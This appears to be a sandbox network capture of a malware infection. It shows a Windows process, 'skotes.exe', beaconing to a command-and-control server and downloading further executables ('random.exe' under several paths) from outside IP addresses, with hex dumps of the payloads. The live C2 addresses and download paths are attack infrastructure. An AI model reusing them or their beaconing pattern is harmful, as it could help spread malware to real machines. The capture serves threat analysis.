}oYZz~ZYs2JPTsu.I]x{K_@lT7J_"Lb\I2<?f\-L~,y!?lnk9v5^O!pKYiH,#gD.OhqFPFn3M+pQr?ErDt~wHHI/?>Hb,pX%5N7!(E "cO=hv3R@{G5!rHdXDZ%R@@t\|) LIZXulpMDm(`^JNKeg<E2(CCW!X&9$:pWnz?ypk`/N]L_'<c#c0kI)5AE$)_Itl%%sKKhZ)gF\|yyS#iyv:1gqETL=-vg.D=dl/c84U:eACfx<`RUq6AS!uG;:b3;uU$Vp1A#- l{3(^Y5u_+\|g\|n\,A7_B28a{[u+[1n&Bgvv.$F>X3s(i?S?x:SO&"0%G_Isr9)f6
Nov 30, 2024 09:45:28.079272032 CET	1236	IN	Data Raw: c1 32 8e f7 4e 37 ff 00 7a ce 34 6a 14 f0 7b e9 b6 fd e8 b8 de f0 5b 78 0f aa c8 27 92 6c e2 e1 0a 31 11 2b de db e1 ae 11 9f ef b7 0a 0c 57 26 b8 b6 8d 41 34 ef bd 43 d0 f1 a1 9c 32 38 4e 4f 17 27 5f b8 e0 b1 fd 83 d6 41 fc 2e ad f5 60 b7 84 7a Data Ascii: 2N7z4j{[x'l1+W&A4C28NO'_A.`z]L;8+O6!cR}?ofT?][#Nh06&Y-zANol~, .y0Yyhb%e,}r<:?}M<UVP
Nov 30, 2024 09:45:28.079282999 CET	1236	IN	Data Raw: d9 10 3a b0 98 d1 d2 41 d0 f3 5f 3b e1 ab f6 10 c2 30 9d bb 66 96 34 8f d3 fd 39 0e 92 cd 2e 83 f4 0c 7a 49 a4 ca 96 4c 5d 11 1b 61 a4 53 7a ab 33 0a 41 1c a7 32 46 b9 f2 b6 47 d3 b7 c6 d7 ce 9f f6 e2 f8 41 d6 f2 c1 12 e3 d6 96 1e e5 6e 0b 0b 8d Data Ascii: :A_;0f49.zIL]aSz3A2FGAnMG!C`q?\|c1J$v]~cjF:T,0p-0}M0EIZ0`r$>fb_a.BQ,CBZwOgZyr552<&KE{C
Nov 30, 2024 09:45:28.079293013 CET	552	IN	Data Raw: 30 82 a3 ef 2c 8e 52 e0 3f 55 3c 41 b4 15 b6 2c 47 38 ca 09 55 57 c6 cd b1 8d ab a3 6f e8 84 06 24 f9 16 c1 63 8d 62 0c d6 cc e8 2a a7 1b a1 62 93 e5 24 a3 56 82 ad 63 32 ba 95 59 ef d1 f2 24 d2 ae 34 79 9e 01 8b 10 b7 3a 48 08 b8 b3 a2 2f 6a e2 Data Ascii: 0,R?U<A,G8UWo$cbb$Vc2Y$4y:H/j^%vH&6{CM-2:tO14p';NNdKMa:&D.]w[{4UIxW>x;8X>/N\|.#jsLwrAH,te,o?o
Nov 30, 2024 09:45:28.189007044 CET	1236	IN	Data Raw: a3 75 4c 55 37 89 53 06 31 bb bd a5 75 de ce 6e 9e 14 a8 03 f6 5f 84 a0 e0 7b 90 a6 ad e0 54 e9 c6 13 08 11 8f a2 2d 50 f1 46 10 f3 bd 6a 1f ff e7 e5 25 ab 88 14 bc cb 67 ae 04 de 63 24 01 b3 ce ec 7c 58 a6 06 a9 a6 df 96 5a 49 d2 0c 22 d4 8b a9 Data Ascii: uLU7S1un_{T-PFj%gc$\|XZI"r`T&2.(Cpb%>+4H,x:PF5=5<C7X{"x&F<pvIBsl2-&Yy+4w:3&4KbY0*<mu
Nov 30, 2024 09:45:28.189232111 CET	1236	IN	Data Raw: 24 66 9f 1b 39 9d d7 35 c5 b5 ba 6b c5 1b 5d 16 dd 28 35 52 aa 0b 51 f4 8f 31 37 fc 87 29 ce 69 64 f6 2e 77 65 6c 9e ca 86 b9 33 4b 97 b0 0a ce 65 c3 41 4c 5e 64 f1 41 b8 1b 7c 7f d3 43 95 be 2f d1 47 a0 ef 97 8b f7 51 04 96 9a a7 d2 b8 e2 a0 dc Data Ascii: $f95k](5RQ17)id.wel3KeAL^dA\|C/GQ,Fqzu-+-Rw+$ `d6N se];]o)o,Sgm=/k*k[+b&F-:-h+\3b@^Qg@)#hN
Nov 30, 2024 09:45:28.189241886 CET	1236	IN	Data Raw: b0 fe 7c c7 27 73 63 e3 b4 b2 54 94 e6 23 73 c0 43 ea ca e9 6c d2 c2 2b b5 9a d6 b5 d9 8b ce 03 db 6a b2 36 b3 07 e9 a9 aa d3 ea bd 8d 36 b4 cd 30 59 bc 4e cf 9c 3e ae e1 d9 a6 c5 41 5b e1 f6 bc f7 5d 24 7b b1 94 35 b9 f2 a1 b3 84 f2 18 0b d4 18 Data Ascii: \|'scT#sCl+j660YN>A[]${5`Q^]0hGD\|OqfI9XzFof:CPJ`O(yKG*W'(}Q6Ad uuSU5AT^f]2gu
Nov 30, 2024 09:45:28.190047026 CET	1236	IN	Data Raw: 64 c5 f4 f1 70 08 d7 5a ad c4 27 c4 7f 00 33 f0 02 25 81 ae d1 17 81 2c e0 fa cf 59 51 24 fd e6 e9 ce 0e 96 b8 7a bf 6e cb c4 d0 26 18 c2 9d fc 10 19 ae f0 ad 07 24 46 6e 93 25 07 75 5e ed 47 a4 c5 bc 00 39 fe aa f7 02 e8 b0 a3 ab dc 27 67 38 d6 Data Ascii: dpZ'3%,YQ$zn&$Fn%u^G9'g8vShS zT^1@hO!~cY+9.H"n1l~-vPQr=AOg9:-U7(l1nNwv]&&eMhasOau"di{J!(
Nov 30, 2024 09:45:28.190057993 CET	1236	IN	Data Raw: 00 fc 4e d9 50 5b b9 20 2a 5b e3 84 db bf cd f8 42 52 9c 7f b5 63 77 ba ce e3 f0 2b 24 86 95 56 84 a2 3a 14 61 fe 99 2f 10 29 3e 38 88 15 1d 7f 9a 0d 4e f1 da 9b 66 c0 fc 4b f7 7a 65 0c 17 40 ad 47 bf fb f5 ac 26 8e 82 86 37 cc 11 db fb 08 ed 10 Data Ascii: NP[ *[BRcw+$V:a/)>8NfKze@G&7#!4'B;$g,;9X=zwby{s))3(qP~p-VNl\@;2<e}/;XOASfsDY^a\|dyby7\4uR>ym)
Nov 30, 2024 09:45:28.190859079 CET	853	IN	Data Raw: b6 60 26 aa ca 41 88 44 58 c8 b9 a1 a2 23 40 c3 93 aa 58 c0 46 2c c3 78 cb 4e 74 f3 73 f3 5f f3 1a fd 39 70 a3 0d bf b1 67 e3 85 32 0a 41 f1 82 56 2d b5 56 47 eb f4 78 f3 48 3f 60 78 3f a9 17 8e a4 fd 02 fa 32 55 18 01 15 33 b0 04 16 ed d1 65 5b Data Ascii: `&ADX#@XF,xNts_9pg2AV-VGxH?`x?2U3e[irk<#PU~LRRNcVS`N/5Va:M'RNFEU4mt[5t}WjcruC"ruFsYH[f<Tm_ n>P
Nov 30, 2024 09:45:28.199682951 CET	1236	IN	Data Raw: 66 1b 50 9c 68 ab 55 c5 30 5f a1 bb a7 46 76 48 90 2c f0 f8 23 e4 3e 52 12 58 42 b7 c6 6a 77 d5 d5 c3 ef e3 44 ee fb 3a 76 df 4b 90 46 d9 a0 1c c6 c1 3d ce 95 b5 82 45 82 87 12 7e 1e c8 29 30 8c 88 a0 6e bb 46 48 6e e6 fa 59 f6 8f 5a 0e 08 4b 28 Data Ascii: fPhU0_FvH,#>RXBjwD:vKF=E~)0nFHnYZK(iP2+vb_'>~ht=L+fxY$Mdi$p$1XO0xtqY2&b6$5%hpN*eX)z_Nd?m~2AT# /,HZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49840	185.215.113.43	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:28.136533976 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 35 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010571001&unit=246122658369
Nov 30, 2024 09:45:29.472127914 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49842	185.156.72.65	80	8064	C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:29.084620953 CET	416	OUT	GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49846	31.41.244.11	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:29.662143946 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 30, 2024 09:45:31.015666962 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:30 GMT Content-Type: application/octet-stream Content-Length: 4478976 Last-Modified: Sat, 30 Nov 2024 08:26:55 GMT Connection: keep-alive ETag: "674acc4f-445800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 f4 47 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 04 48 00 00 1c 76 00 00 32 00 00 00 a0 c8 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c8 00 00 04 00 00 17 4e 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 80 73 00 73 00 00 00 00 70 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 84 c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 84 c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELPGg(Hv2 H@NE@ _sspsx `sD(@.rsrcpsT(@.idata sV(@ 9sX(@ckkgfuxhZ(@tllifhwj2D@.taggant0"6D@
Nov 30, 2024 09:45:31.015860081 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:31.015942097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:31.016379118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:31.016388893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:31.017271042 CET	672	IN	Data Raw: a5 59 1f 24 a1 5c b2 9a dd 38 6f 83 8e de c2 60 66 92 e4 00 c5 de 2b 22 90 28 a5 35 2c d7 f0 43 83 7c ed 90 eb d5 5b c2 92 6d 6f 39 14 c5 68 db b2 af 29 2a 23 61 67 88 77 46 3a d0 1b 0a 2a 08 04 8d f8 eb 55 c5 ac 5b 0c a4 fc 13 bb b6 4c 8c 75 ad Data Ascii: Y$\8o`f+"(5,C\|[mo9h)#agwF:U[Lu"+LM}L?;{8t%+&pPvr7 k3d6J8'<hD,h62LgeN2k+J>la^^0~<C\|yt
Nov 30, 2024 09:45:31.017282963 CET	1236	IN	Data Raw: 61 74 c1 d8 1d 70 32 ea 3a 96 54 d5 96 38 cf 3e ae 80 43 11 6d 27 b0 7e ea 2e 6b 2b e4 30 17 04 49 cc 82 23 13 d4 39 12 04 55 47 d7 20 66 72 67 15 a8 7d 8f 94 c5 1a 19 27 08 a1 1c 25 f7 23 2c 73 46 3f 7d 1a 2c 6d 1d 67 00 68 5b 47 bc 91 4f 46 25 Data Ascii: atp2:T8>Cm'~.k+0I#9UG frg}'%#,sF?},mgh[GOF%xsStzHvq>b`i}2zwpm,8VvUohEn5fdp\f3.*@9tG;6+w?%jO3,d^#E53
Nov 30, 2024 09:45:31.018126011 CET	1236	IN	Data Raw: 32 46 e7 2f 84 29 28 3a 0b 52 93 32 3a 06 97 73 70 2b 21 cc 03 73 d3 07 46 46 d7 fb 41 7b b2 a5 32 2c e8 5f 07 fc 82 8a 2b e8 ec ff 81 c5 d9 43 a9 93 fb 5d b3 ed c6 0f 4a b6 1c 0b a1 35 16 c1 0d ea 9f 11 31 2d ec 0c 6b 23 18 1f bc 34 1f 83 8b fb Data Ascii: 2F/)(:R2:sp+!sFFA{2,_+C]J51-k#4R#tB4I9hV)v1n#B8E<%-\|<`n9}}3e4G^Xv.*X:4#HJf5$)x_OTSzCg?Rbe-M?
Nov 30, 2024 09:45:31.018136024 CET	448	IN	Data Raw: 9a 61 c2 97 2d ef 10 bd 2e 79 94 de 8b 36 ef 75 ef e8 ab 78 38 ca e9 d4 62 a7 b7 6a cb cb b3 98 92 68 ee ec b5 7a 72 cf f9 85 10 4b e8 7f e8 87 97 80 e7 cb 5e f5 ff a9 45 b3 02 3d 87 46 b7 b1 43 91 bb c0 81 2c a8 8b cc 39 5a cb 55 a8 16 bf 86 b9 Data Ascii: a-.y6ux8bjhzrK^E=FC,9ZUSDw{wG]\Zfllx[+AF!tl>tk%:xd1`ZVw8<ku~!\Rf&n0xe;[X\|Dx^%x\%}`';u8
Nov 30, 2024 09:45:31.018146992 CET	1236	IN	Data Raw: 1c e0 d8 75 99 45 a2 19 0b 08 72 9e c7 78 72 0f 3c 5c 71 98 83 3e d3 35 56 ae 92 95 8b 45 bf 84 3c 86 1d 4c 39 ad 7f b7 0b b8 6f e2 f4 ae 80 36 a4 3b 19 cb f3 4d 37 86 97 1f fb c6 d6 41 e1 7a 8a 9a 1c e1 13 b9 15 8d ab c1 f7 9c 8f 79 54 b3 73 30 Data Ascii: uErxr<\q>5VE<L9o6;M7AzyTs0!\|UINI;uv.Y^6$zdjY:=$/"d,d9<?E+v;p:\|r"%"d`(w$nw(rO\Q0y%z[!Hy{kC.,2~
Nov 30, 2024 09:45:31.135761976 CET	1236	IN	Data Raw: 95 02 54 b8 4b 32 a8 c7 77 09 a2 ab 22 34 f1 fc 4a 1a d7 87 45 26 a7 66 85 b1 e5 b7 76 47 1c 48 09 8c a9 27 1b 18 f7 a1 51 66 97 dd 38 4c aa 2f 63 02 84 d3 3e 46 54 7b fa 1a bb 88 c0 68 65 aa 6e 89 c9 fd 3a 4e 4b c4 30 75 1c 93 45 88 9f ef 40 31 Data Ascii: TK2w"4JE&fvGH'Qf8L/c>FT{hen:NK0uE@1v7Os]%cw_+e_UfRjS}4VW\|l4u?S/<}p,0-(p')tkl4@c/@z3G6!Z\ae#c:6le58

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49871	185.215.113.43	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:41.221024990 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 35 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010572001&unit=246122658369
Nov 30, 2024 09:45:42.453843117 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49874	185.215.113.16	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:42.581510067 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 30, 2024 09:45:43.931077957 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:43 GMT Content-Type: application/octet-stream Content-Length: 1864192 Last-Modified: Sat, 30 Nov 2024 08:21:23 GMT Connection: keep-alive ETag: "674acb03-1c7200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 42 33 47 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e6 03 00 00 c2 00 00 00 00 00 00 00 e0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4a 00 00 04 00 00 8e 45 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 60 05 00 70 00 00 00 00 50 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELB3GgI@JE@\`pPa @X@.rsrcPh@.idata `j@ *pl@dfralmjm/n@ffqqzebgIL@.taggant0I"P@
Nov 30, 2024 09:45:43.931242943 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:43.931849957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:43.932081938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:43.932090998 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:43.932558060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:43.932909012 CET	1236	IN	Data Raw: ea 57 e9 30 ea 66 2d 1d 83 c6 11 32 4a 20 c6 f2 22 2c 27 c6 ff db b2 e6 bb c3 62 fd 62 fd 2d 59 1c 15 e2 18 6e b7 25 d6 ca 0d 3a ea 94 56 e9 d6 2a fb 25 e4 58 b9 79 2a b4 6d 4a 5b e2 c9 2c d4 a8 78 5e 35 7d 14 04 ad e4 60 1f f1 0d 05 16 11 d8 1d Data Ascii: W0f-2J ",'bb-Yn%:V%XymJ[,x^5}`:$aGv^]$<=\4<1%Q{Z)_T)3mB29*k.$o&"4t$&._Zt<k2!PG}bX\fUHI}n\|u
Nov 30, 2024 09:45:43.932918072 CET	248	IN	Data Raw: 54 cb 6c 92 dc 9c 47 a5 f1 70 62 76 6b 55 79 9c 2c fd 3a 25 f6 77 ec e8 fa da d7 79 67 cf 86 01 1d 21 1f 50 c5 c4 ff df e4 da 24 11 4b e5 69 29 e0 ed a6 21 0a f5 6a 9c a6 4e 7a 16 ab c9 14 5a cb e1 18 31 f4 ec aa ae 18 bb 5b 14 64 19 15 0d c9 d6 Data Ascii: TlGpbvkUy,:%wyg!P$Ki)!jNzZ1[d"7A:"bTycV'_MsV'!L&2"Wzr)'q@kY_V;6-7~)p<Pnr{0%1?%t!N
Nov 30, 2024 09:45:43.935127974 CET	1236	IN	Data Raw: 3c f4 83 f1 53 0c 97 df 4e 51 06 f4 69 5e 61 06 0d 4d 87 29 6d 3c 98 93 80 ff 15 7e b5 73 c2 4d a4 35 71 32 73 b6 bc 54 76 a5 a8 45 84 d7 48 16 71 b9 57 c0 46 11 e8 82 aa 04 7c 31 4a 24 72 6f 32 c6 75 61 6a 5e 5f bd 27 42 7e 82 39 a7 db 26 01 eb Data Ascii: <SNQi^aM)m<~sM5q2sTvEHqWF\|1J$ro2uaj^_'B~9&oe9F9>^iM*R=j gX;Pn9__5bBn31;?`qE+hJE$8}]\aqL.\XZQ
Nov 30, 2024 09:45:43.935137987 CET	1236	IN	Data Raw: 0c cf b2 8b ab 0e fa 1c 26 4d ea b9 2d 50 d9 45 db c1 31 e0 19 09 82 b5 07 21 3a 1a ee 29 41 5e d1 de dc 13 38 58 64 92 e3 1b 65 2d 30 18 30 14 60 c5 01 c0 80 4e 8f f8 f4 eb 2a e4 82 2b ea b9 2b d0 32 73 ce 04 6a bb f4 ff 32 41 e3 30 68 3c 26 d9 Data Ascii: &M-PE1!:)A^8Xde-00`N*++2sj2A0h<&!pFNG^b.@mzKQ"G$aQi~"EG7=EoU0!:db[xJ9j"y!So]h4DH3;)j&/1Q6E9Y9ma@bg
Nov 30, 2024 09:45:44.051170111 CET	1236	IN	Data Raw: e1 e0 22 de 90 10 99 04 aa bf 80 55 9b 2c 74 d3 4d df e7 de d2 de 76 ed a4 d0 70 69 7c 51 af 52 e1 b5 9a d6 c8 b0 e5 63 d6 04 1e 42 ab 25 1d 19 eb b0 1a 96 e9 47 6f dd b8 91 09 0d cc 60 a2 f5 20 55 55 f3 94 d6 05 9b e9 73 14 9f 80 34 36 fc 2a ce Data Ascii: "U,tMvpi\|QRcB%Go` UUs46":NiBfE!@%;xo}Qb@h mx%@`Yuze1,jLmP[ZG)5%hc{)ZM`EaiK2P)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49891	185.215.113.43	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:49.450436115 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 35 37 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010573001&unit=246122658369
Nov 30, 2024 09:45:50.859874964 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49898	185.215.113.16	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:50.982295036 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 30, 2024 09:45:52.416224003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:52 GMT Content-Type: application/octet-stream Content-Length: 1811968 Last-Modified: Sat, 30 Nov 2024 08:21:30 GMT Connection: keep-alive ETag: "674acb0a-1ba600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e8 97 48 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 a0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 69 00 00 04 00 00 d9 f5 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELHg"i@i@M$a$$ $b@.rsrc$r@.idata $t@ *$v@drohdkweOx@resqcpzai@.taggant0i"@
Nov 30, 2024 09:45:52.416517019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
